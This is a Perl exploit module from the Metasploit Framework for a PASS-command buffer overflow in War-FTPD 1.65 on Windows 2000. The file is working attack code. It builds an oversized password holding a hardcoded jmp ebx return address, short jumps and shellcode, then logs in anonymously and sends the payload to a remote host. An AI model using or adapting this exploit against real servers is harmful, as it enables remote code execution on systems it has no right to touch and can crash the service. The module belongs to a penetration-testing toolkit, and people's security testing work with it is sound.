
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::warftpd_165_pass;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };
my $info =
{
    'Name'  => 'War-FTPD 1.65 PASS Overflow',
    'Version'  => '$Revision: 1.24 $',
    'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'win2000' ],
    'Priv'  => 0,
    'UserOpts'  => {
                    'RHOST' => [1, 'ADDR', 'The target address'],
                    'RPORT' => [1, 'PORT', 'The target port', 80],
                    'SSL'   => [0, 'BOOL', 'Use SSL'],
                },

    'Payload' => {
                 'Space'  => 512,
                 'BadChars'  => "\x00+&=%\x0a\x0d\x20",
                 },
    
    'Description'  =>  Pex::Text::Freeform(qq{

        This exploits the buffer overflow found in the PASS command
        in War-FTPD 1.65. This particular module will only work
        reliably against Windows 2000 targets. The server must be
        configured to allow anonymous logins for this exploit to
        succeed. A failed attempt will bring down the service
        completely.    
    }),
    'Refs'  =>  [  
                    ['OSVDB', 875],
		            ['URL',   'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html'],
                ],
    'DefaultTarget' => 0,
    'Targets' => [ ["Windows 2000"] ],
    'Keys'  => ['warftpd'],    
};

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  return($self);
}

sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

    my $request = ("META" x 1024);

    # this return address is a jmp ebx in the included MFC42.DLL
    substr($request, 562, 4, pack("V", 0x5f4e772b));
    
    substr($request, 558, 4, "\xeb\x08\xeb\x08");
    substr($request, 566, length($shellcode), $shellcode);


    my $s = Msf::Socket::Tcp->new
    (
        'PeerAddr'  => $target_host, 
        'PeerPort'  => $target_port, 
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
    );
    if ($s->IsError) {
      $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
      return;
    }

    my $r = $s->Recv(-1, 20);
    if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
    
    $self->PrintLine("[*] REMOTE> $r");
    $r = $s->Recv(-1, 10);
    
    $s->Send("USER ANONYMOUS\n");
    $r = $s->Recv(-1, 20);
    if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
    $self->PrintLine("[*] REMOTE> $r");
    
    $s->Send("PASS $request\n");
    $r = $s->Recv(-1, 20);
    if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
    $self->PrintLine("[*] REMOTE> $r");
    
    return;
}



